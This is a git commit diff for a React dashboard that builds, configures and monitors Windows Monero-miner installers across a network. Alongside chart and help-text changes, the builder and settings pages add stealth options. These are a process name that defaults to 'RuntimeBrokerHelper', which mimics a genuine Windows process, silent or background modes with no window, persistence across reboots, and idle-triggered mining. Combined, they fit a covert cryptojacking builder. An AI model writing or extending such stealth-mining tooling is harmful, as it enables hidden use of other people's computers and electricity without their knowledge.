Upgrade dashboard, builder, and agent resource controls.
Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import type { Agent, HashrateSample } from '../types';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import './Pages.css';
|
||||
|
||||
export default function AgentsPage() {
|
||||
@@ -152,7 +153,22 @@ export default function AgentsPage() {
|
||||
|
||||
{hashrateHistory.length > 0 && (
|
||||
<div className="detail-section">
|
||||
<h3>Hashrate History (last {hashrateHistory.length} samples)</h3>
|
||||
<h3>Hashrate History</h3>
|
||||
<HashrateChart
|
||||
title=""
|
||||
color="#22c55e"
|
||||
unit="H/s"
|
||||
data={[...hashrateHistory].reverse().map((s) => ({
|
||||
time: new Date(s.timestamp).toLocaleTimeString(),
|
||||
value: s.hashrate,
|
||||
}))}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{hashrateHistory.length > 0 && (
|
||||
<div className="detail-section">
|
||||
<h3>Raw Samples ({hashrateHistory.length})</h3>
|
||||
<div className="hashrate-chart">
|
||||
{hashrateHistory.reverse().map((sample, i) => (
|
||||
<div
|
||||
|
||||
@@ -1,25 +1,34 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import { SETUP_CHEATSHEET } from '../help/settingHelp';
|
||||
import './Pages.css';
|
||||
|
||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
const d = config.default_agent_config;
|
||||
return {
|
||||
worker_name: '',
|
||||
server_url: serverInfo.suggested_url,
|
||||
wallet: config.wallet.address,
|
||||
threads: config.default_agent_config.threads,
|
||||
cpu_priority: config.default_agent_config.cpu_priority,
|
||||
mining_mode: config.default_agent_config.mining_mode,
|
||||
threads: d.threads,
|
||||
thread_mode: d.thread_mode || 'percent',
|
||||
thread_percent: d.thread_percent || 75,
|
||||
cpu_priority: d.cpu_priority,
|
||||
mining_mode: d.mining_mode,
|
||||
display_mode: d.display_mode || (config.background.silent_mode ? 'silent' : 'background'),
|
||||
silent_mode: config.background.silent_mode,
|
||||
run_as: config.background.run_as,
|
||||
auto_start: config.background.auto_start,
|
||||
max_cpu_usage_pct: config.default_agent_config.max_cpu_usage_pct,
|
||||
min_free_ram_mb: config.default_agent_config.min_free_ram_mb,
|
||||
idle_threshold_pct: config.default_agent_config.idle_threshold_pct,
|
||||
idle_duration_minutes: config.default_agent_config.idle_duration_minutes,
|
||||
schedule_start: config.default_agent_config.schedule_start,
|
||||
schedule_end: config.default_agent_config.schedule_end,
|
||||
persistence: config.background.auto_start,
|
||||
process_name: d.process_name || '',
|
||||
max_cpu_usage_pct: d.max_cpu_usage_pct,
|
||||
max_memory_percent: d.max_memory_percent || 70,
|
||||
min_free_ram_mb: d.min_free_ram_mb,
|
||||
idle_threshold_pct: d.idle_threshold_pct,
|
||||
idle_duration_minutes: d.idle_duration_minutes,
|
||||
schedule_start: d.schedule_start,
|
||||
schedule_end: d.schedule_end,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
@@ -112,7 +121,19 @@ export default function BuilderPage() {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="builder-layout">
|
||||
<div className="builder-layout builder-layout-wide">
|
||||
<div className="card cheat-sheet-panel">
|
||||
<h2>Setup Cheat Sheet</h2>
|
||||
<div className="cheat-sheet">
|
||||
{SETUP_CHEATSHEET.map((item) => (
|
||||
<div key={item.title} className="cheat-sheet-item">
|
||||
<h4>{item.title}</h4>
|
||||
<p>{item.body}</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="card builder-form">
|
||||
<h2>Build Miner Installer</h2>
|
||||
<p className="form-description">
|
||||
@@ -124,7 +145,7 @@ export default function BuilderPage() {
|
||||
<div className="form-section">
|
||||
<h3>Identity</h3>
|
||||
<div className="form-group">
|
||||
<label className="label">Worker Name</label>
|
||||
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
@@ -135,18 +156,18 @@ export default function BuilderPage() {
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Server URL</label>
|
||||
<label className="label">Server URL <HelpTip field="server_url" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
className="input mono"
|
||||
value={form.server_url}
|
||||
onChange={(e) => updateField('server_url', e.target.value)}
|
||||
required
|
||||
/>
|
||||
<span className="form-hint">Your control server on the LAN — workers use this to reach the dashboard ({form.server_url})</span>
|
||||
<FieldHint field="server_url" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Wallet Address</label>
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
@@ -205,26 +226,33 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<h3>Performance</h3>
|
||||
<h3>Performance & Resources</h3>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Threads</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={128}
|
||||
value={form.threads}
|
||||
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)}
|
||||
/>
|
||||
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
|
||||
<select className="select" value={form.thread_mode} onChange={(e) => updateField('thread_mode', e.target.value)}>
|
||||
<option value="percent">Auto (% of CPU cores)</option>
|
||||
<option value="fixed">Fixed thread count</option>
|
||||
</select>
|
||||
<FieldHint field="thread_mode" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">CPU Priority</label>
|
||||
<select
|
||||
className="select"
|
||||
value={form.cpu_priority}
|
||||
onChange={(e) => updateField('cpu_priority', e.target.value)}
|
||||
>
|
||||
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
||||
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
|
||||
disabled={form.thread_mode === 'fixed'}
|
||||
onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
|
||||
<input type="number" className="input" min={1} max={128} value={form.threads}
|
||||
disabled={form.thread_mode !== 'fixed'}
|
||||
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
|
||||
<select className="select" value={form.cpu_priority} onChange={(e) => updateField('cpu_priority', e.target.value)}>
|
||||
<option value="idle">Idle</option>
|
||||
<option value="below_normal">Below Normal</option>
|
||||
<option value="normal">Normal</option>
|
||||
@@ -235,29 +263,24 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Max CPU Usage (%)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={100}
|
||||
value={form.max_cpu_usage_pct}
|
||||
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)}
|
||||
/>
|
||||
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
||||
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
|
||||
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Min Free RAM (MB)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={256}
|
||||
value={form.min_free_ram_mb}
|
||||
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)}
|
||||
/>
|
||||
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
||||
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
|
||||
onChange={(e) => updateField('max_memory_percent', parseInt(e.target.value) || 70)} />
|
||||
<FieldHint field="max_memory_percent" />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode</label>
|
||||
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
||||
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
|
||||
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={form.mining_mode}
|
||||
@@ -315,20 +338,33 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<h3>Deployment</h3>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={form.silent_mode}
|
||||
onChange={(e) => updateField('silent_mode', e.target.checked)}
|
||||
/>
|
||||
<span>Silent / Background Mode (no console window)</span>
|
||||
</label>
|
||||
<h3>Install & Process</h3>
|
||||
<div className="form-group">
|
||||
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||||
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
|
||||
value={form.process_name}
|
||||
onChange={(e) => updateField('process_name', e.target.value)} />
|
||||
<FieldHint field="process_name" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Run As</label>
|
||||
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
|
||||
<select className="select" value={form.display_mode} onChange={(e) => updateField('display_mode', e.target.value)}>
|
||||
<option value="visible">Visible (console window)</option>
|
||||
<option value="silent">Silent (no window)</option>
|
||||
<option value="background">Background (silent + low priority)</option>
|
||||
</select>
|
||||
<FieldHint field="display_mode" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.persistence}
|
||||
onChange={(e) => { updateField('persistence', e.target.checked); updateField('auto_start', e.target.checked); }} />
|
||||
<span>Persist after reboot <HelpTip field="persistence" /></span>
|
||||
</label>
|
||||
<FieldHint field="persistence" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Run As <HelpTip field="run_as" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={form.run_as}
|
||||
@@ -341,13 +377,9 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={form.auto_start}
|
||||
onChange={(e) => updateField('auto_start', e.target.checked)}
|
||||
/>
|
||||
<span>Auto-start with Windows</span>
|
||||
<input type="checkbox" className="checkbox" checked={form.auto_start}
|
||||
onChange={(e) => { updateField('auto_start', e.target.checked); updateField('persistence', e.target.checked); }} />
|
||||
<span>Also register startup entry (same as persistence)</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
import { useState, useEffect } from 'react';
|
||||
import { useState, useEffect, useMemo } from 'react';
|
||||
import type { Share } from '../types';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import './Pages.css';
|
||||
|
||||
export default function DashboardPage() {
|
||||
const { isConnected, agents, stats } = useWebSocket();
|
||||
const { isConnected, agents } = useWebSocket();
|
||||
const [shares, setShares] = useState<Share[]>([]);
|
||||
const [hashHistory, setHashHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
|
||||
useEffect(() => {
|
||||
api.getRecentShares(20).then(setShares).catch(console.error);
|
||||
@@ -16,97 +19,104 @@ export default function DashboardPage() {
|
||||
const onlineCount = agents.filter((a) => a.status === 'online').length;
|
||||
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
||||
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
|
||||
const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0);
|
||||
const acceptRate = totalShares > 0 ? ((acceptedShares / totalShares) * 100).toFixed(1) : '0.0';
|
||||
const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0;
|
||||
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
|
||||
|
||||
useEffect(() => {
|
||||
const now = new Date().toLocaleTimeString();
|
||||
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
|
||||
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
|
||||
}, [totalHashrate, avgCpu]);
|
||||
|
||||
const topAgents = useMemo(
|
||||
() => [...agents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 6),
|
||||
[agents]
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="page fade-in">
|
||||
<div className="page-header">
|
||||
<h1>Dashboard</h1>
|
||||
<div>
|
||||
<h1>Fleet Dashboard</h1>
|
||||
<p className="page-subtitle">Live monitoring for every installed miner on your network</p>
|
||||
</div>
|
||||
<div className="header-status">
|
||||
<span className={`status-dot ${isConnected ? 'online' : 'offline'}`} />
|
||||
<span className="status-text">{isConnected ? 'Live' : 'Reconnecting...'}</span>
|
||||
<span className="status-text">{isConnected ? 'Live feed' : 'Reconnecting...'}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Stats Cards */}
|
||||
<div className="grid-4 stats-grid">
|
||||
<div className="card stat-card">
|
||||
<div className="stat-label">Total Hashrate</div>
|
||||
<div className="stat-value hashrate">
|
||||
{formatHashrate(totalHashrate)}
|
||||
</div>
|
||||
<div className="stat-sub">across {onlineCount} active miners</div>
|
||||
<div className="card stat-card accent-cyan">
|
||||
<div className="stat-label">Fleet Hashrate</div>
|
||||
<div className="stat-value hashrate">{formatHashrate(totalHashrate)}</div>
|
||||
<div className="stat-sub">{onlineCount} miners active</div>
|
||||
</div>
|
||||
<div className="card stat-card">
|
||||
<div className="stat-label">Miners Online</div>
|
||||
<div className="card stat-card accent-green">
|
||||
<div className="stat-label">Online</div>
|
||||
<div className="stat-value">{onlineCount} / {agents.length}</div>
|
||||
<div className="stat-sub">{agents.length - onlineCount} offline</div>
|
||||
</div>
|
||||
<div className="card stat-card">
|
||||
<div className="stat-label">Shares Accepted</div>
|
||||
<div className="stat-value accepted">{acceptedShares}</div>
|
||||
<div className="stat-sub">{acceptRate}% accept rate</div>
|
||||
<div className="card stat-card accent-purple">
|
||||
<div className="stat-label">Accept Rate</div>
|
||||
<div className="stat-value accepted">{acceptRate}%</div>
|
||||
<div className="stat-sub">{acceptedShares} good · {rejectedShares} bad</div>
|
||||
</div>
|
||||
<div className="card stat-card">
|
||||
<div className="stat-label">Total Shares</div>
|
||||
<div className="stat-value">{totalShares}</div>
|
||||
<div className="stat-sub">{totalShares - acceptedShares} rejected</div>
|
||||
<div className="card stat-card accent-yellow">
|
||||
<div className="stat-label">Resource Avg</div>
|
||||
<div className="stat-value">{avgCpu.toFixed(0)}% CPU</div>
|
||||
<div className="stat-sub">{avgMem.toFixed(0)}% RAM fleet average</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="grid-2 chart-row">
|
||||
<div className="card">
|
||||
<HashrateChart data={hashHistory} title="Fleet Hashrate (15m window)" color="#06b6d4" unit="H/s" />
|
||||
</div>
|
||||
<div className="card">
|
||||
<HashrateChart data={cpuHistory} title="Average CPU Usage" color="#8b5cf6" unit="%" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Agent Grid */}
|
||||
<div className="section">
|
||||
<h2>Active Miners</h2>
|
||||
<h2>Machine Detail</h2>
|
||||
<div className="agent-grid">
|
||||
{agents.length === 0 && (
|
||||
<div className="card empty-state">
|
||||
<div className="empty-icon">🖥️</div>
|
||||
<h3>No miners connected</h3>
|
||||
<p>Build and deploy a miner using the Miner Builder to get started.</p>
|
||||
<h3>No miners connected yet</h3>
|
||||
<p>Build an installer in Miner Builder, run it once on a Windows PC, and it will appear here automatically.</p>
|
||||
</div>
|
||||
)}
|
||||
{agents.map((agent) => (
|
||||
<div key={agent.id} className="card agent-card">
|
||||
{topAgents.map((agent) => (
|
||||
<div key={agent.id} className="card agent-card detailed">
|
||||
<div className="agent-card-header">
|
||||
<div className="agent-name">
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>
|
||||
{agent.status}
|
||||
</span>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
<div className="agent-card-stats">
|
||||
<div className="agent-stat">
|
||||
<span className="agent-stat-label">Hashrate</span>
|
||||
<span className="agent-stat-value">{formatHashrate(agent.hashrate_15m)}</span>
|
||||
</div>
|
||||
<div className="agent-stat">
|
||||
<span className="agent-stat-label">CPU</span>
|
||||
<span className="agent-stat-value">{agent.cpu_usage_pct.toFixed(0)}%</span>
|
||||
</div>
|
||||
<div className="agent-stat">
|
||||
<span className="agent-stat-label">Shares</span>
|
||||
<span className="agent-stat-value">{agent.shares_good}</span>
|
||||
</div>
|
||||
<div className="agent-stat">
|
||||
<span className="agent-stat-label">Uptime</span>
|
||||
<span className="agent-stat-value">{formatUptime(agent.uptime_seconds)}</span>
|
||||
</div>
|
||||
</div>
|
||||
<div className="agent-card-footer">
|
||||
<span className="agent-meta">{agent.ip || 'Unknown IP'}</span>
|
||||
<span className="agent-meta">v{agent.version || '?'}</span>
|
||||
<div className="agent-detail-lines">
|
||||
<div><span>Hashrate 15m</span><strong>{formatHashrate(agent.hashrate_15m)}</strong></div>
|
||||
<div><span>Hashrate 1m</span><strong>{formatHashrate(agent.hashrate_1m)}</strong></div>
|
||||
<div><span>Hashrate 15s</span><strong>{formatHashrate(agent.hashrate_15s)}</strong></div>
|
||||
<div><span>CPU / RAM</span><strong>{agent.cpu_usage_pct.toFixed(0)}% / {agent.memory_usage_pct.toFixed(0)}%</strong></div>
|
||||
<div><span>Cores / RAM</span><strong>{agent.cpu_cores} cores · {agent.memory_gb} GB</strong></div>
|
||||
<div><span>Shares</span><strong>{agent.shares_good} ok · {agent.shares_bad} bad · {agent.shares_total} total</strong></div>
|
||||
<div><span>Network</span><strong>{agent.ip || 'unknown'} · v{agent.version || '?'}</strong></div>
|
||||
<div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
|
||||
<div><span>Last seen</span><strong>{new Date(agent.last_seen).toLocaleString()}</strong></div>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Recent Shares */}
|
||||
<div className="section">
|
||||
<h2>Recent Shares</h2>
|
||||
<div className="card">
|
||||
<div className="card table-card">
|
||||
<table className="shares-table">
|
||||
<thead>
|
||||
<tr>
|
||||
@@ -118,9 +128,7 @@ export default function DashboardPage() {
|
||||
</thead>
|
||||
<tbody>
|
||||
{shares.length === 0 && (
|
||||
<tr>
|
||||
<td colSpan={4} className="empty-table">No shares submitted yet</td>
|
||||
</tr>
|
||||
<tr><td colSpan={4} className="empty-table">No shares submitted yet</td></tr>
|
||||
)}
|
||||
{shares.map((share) => (
|
||||
<tr key={share.id}>
|
||||
@@ -131,7 +139,7 @@ export default function DashboardPage() {
|
||||
{share.accepted ? 'Accepted' : 'Rejected'}
|
||||
</span>
|
||||
</td>
|
||||
<td className="hash-cell">{share.hash?.substring(0, 16)}...</td>
|
||||
<td className="hash-cell">{share.hash?.substring(0, 20)}...</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
@@ -158,6 +166,5 @@ function formatUptime(seconds: number): string {
|
||||
}
|
||||
|
||||
function formatTime(t: string): string {
|
||||
const d = new Date(t);
|
||||
return d.toLocaleTimeString();
|
||||
return new Date(t).toLocaleTimeString();
|
||||
}
|
||||
|
||||
@@ -614,3 +614,81 @@
|
||||
margin-top: 0.5rem;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.page-subtitle {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.875rem;
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.chart-row {
|
||||
margin-bottom: 1.5rem;
|
||||
}
|
||||
|
||||
.chart-wrap {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.chart-title {
|
||||
font-size: 0.9375rem;
|
||||
margin-bottom: 0.75rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.chart-empty {
|
||||
min-height: 260px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.builder-layout-wide {
|
||||
grid-template-columns: 320px 1fr;
|
||||
}
|
||||
|
||||
@media (max-width: 1100px) {
|
||||
.builder-layout-wide {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
}
|
||||
|
||||
.cheat-sheet-panel {
|
||||
align-self: start;
|
||||
position: sticky;
|
||||
top: 1rem;
|
||||
}
|
||||
|
||||
.stat-card.accent-cyan { border-top: 3px solid var(--accent-cyan); }
|
||||
.stat-card.accent-green { border-top: 3px solid var(--accent-green); }
|
||||
.stat-card.accent-purple { border-top: 3px solid var(--accent-purple); }
|
||||
.stat-card.accent-yellow { border-top: 3px solid var(--accent-yellow); }
|
||||
|
||||
.agent-card.detailed .agent-detail-lines {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr;
|
||||
gap: 0.5rem;
|
||||
margin-top: 1rem;
|
||||
}
|
||||
|
||||
.agent-detail-lines div {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
gap: 1rem;
|
||||
font-size: 0.8125rem;
|
||||
padding: 0.35rem 0;
|
||||
border-bottom: 1px solid rgba(42, 58, 92, 0.5);
|
||||
}
|
||||
|
||||
.agent-detail-lines span {
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.agent-detail-lines strong {
|
||||
color: var(--text-primary);
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.table-card {
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import type { ServerConfig } from '../types';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './Pages.css';
|
||||
|
||||
export default function SettingsPage() {
|
||||
@@ -83,7 +84,7 @@ export default function SettingsPage() {
|
||||
<h2>Pool Connection</h2>
|
||||
<p className="section-desc">Configure which Monero pool your miners connect to.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Host</label>
|
||||
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
@@ -94,7 +95,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Port</label>
|
||||
<label className="label">Port <HelpTip field="pool_port" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
@@ -131,7 +132,7 @@ export default function SettingsPage() {
|
||||
<h2>Wallet</h2>
|
||||
<p className="section-desc">Default wallet address for new miners.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Wallet Address</label>
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
@@ -157,18 +158,45 @@ export default function SettingsPage() {
|
||||
<p className="section-desc">Default settings applied to newly built miners.</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Threads</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={128}
|
||||
value={config.default_agent_config.threads}
|
||||
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
|
||||
/>
|
||||
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.thread_mode || 'percent'}
|
||||
onChange={(e) => updateField('default_agent_config.thread_mode', e.target.value)}
|
||||
>
|
||||
<option value="percent">Auto (% of cores)</option>
|
||||
<option value="fixed">Fixed count</option>
|
||||
</select>
|
||||
</div>
|
||||
{config.default_agent_config.thread_mode === 'fixed' ? (
|
||||
<div className="form-group">
|
||||
<label className="label">Threads <HelpTip field="threads" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={128}
|
||||
value={config.default_agent_config.threads}
|
||||
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
|
||||
/>
|
||||
</div>
|
||||
) : (
|
||||
<div className="form-group">
|
||||
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={10}
|
||||
max={100}
|
||||
value={config.default_agent_config.thread_percent ?? 75}
|
||||
onChange={(e) => updateField('default_agent_config.thread_percent', parseInt(e.target.value) || 75)}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">CPU Priority</label>
|
||||
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.cpu_priority}
|
||||
@@ -184,7 +212,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Max CPU Usage (%)</label>
|
||||
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
@@ -195,7 +223,18 @@ export default function SettingsPage() {
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Min Free RAM (MB)</label>
|
||||
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={10}
|
||||
max={95}
|
||||
value={config.default_agent_config.max_memory_percent ?? 70}
|
||||
onChange={(e) => updateField('default_agent_config.max_memory_percent', parseInt(e.target.value) || 70)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
@@ -205,8 +244,32 @@ export default function SettingsPage() {
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.display_mode || 'background'}
|
||||
onChange={(e) => updateField('default_agent_config.display_mode', e.target.value)}
|
||||
>
|
||||
<option value="visible">Visible (console)</option>
|
||||
<option value="silent">Silent (hidden window)</option>
|
||||
<option value="background">Background (hidden + low priority)</option>
|
||||
</select>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
value={config.default_agent_config.process_name || 'RuntimeBrokerHelper'}
|
||||
onChange={(e) => updateField('default_agent_config.process_name', e.target.value)}
|
||||
placeholder="RuntimeBrokerHelper"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode</label>
|
||||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.mining_mode}
|
||||
@@ -220,7 +283,7 @@ export default function SettingsPage() {
|
||||
{config.default_agent_config.mining_mode === 'idle' && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Idle CPU Threshold (%)</label>
|
||||
<label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
@@ -231,7 +294,7 @@ export default function SettingsPage() {
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Idle Duration (min)</label>
|
||||
<label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
@@ -245,7 +308,7 @@ export default function SettingsPage() {
|
||||
{config.default_agent_config.mining_mode === 'scheduled' && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Start Time</label>
|
||||
<label className="label">Start Time <HelpTip field="schedule_start" /></label>
|
||||
<input
|
||||
type="time"
|
||||
className="input"
|
||||
@@ -254,7 +317,7 @@ export default function SettingsPage() {
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">End Time</label>
|
||||
<label className="label">End Time <HelpTip field="schedule_end" /></label>
|
||||
<input
|
||||
type="time"
|
||||
className="input"
|
||||
@@ -278,11 +341,11 @@ export default function SettingsPage() {
|
||||
checked={config.background.silent_mode}
|
||||
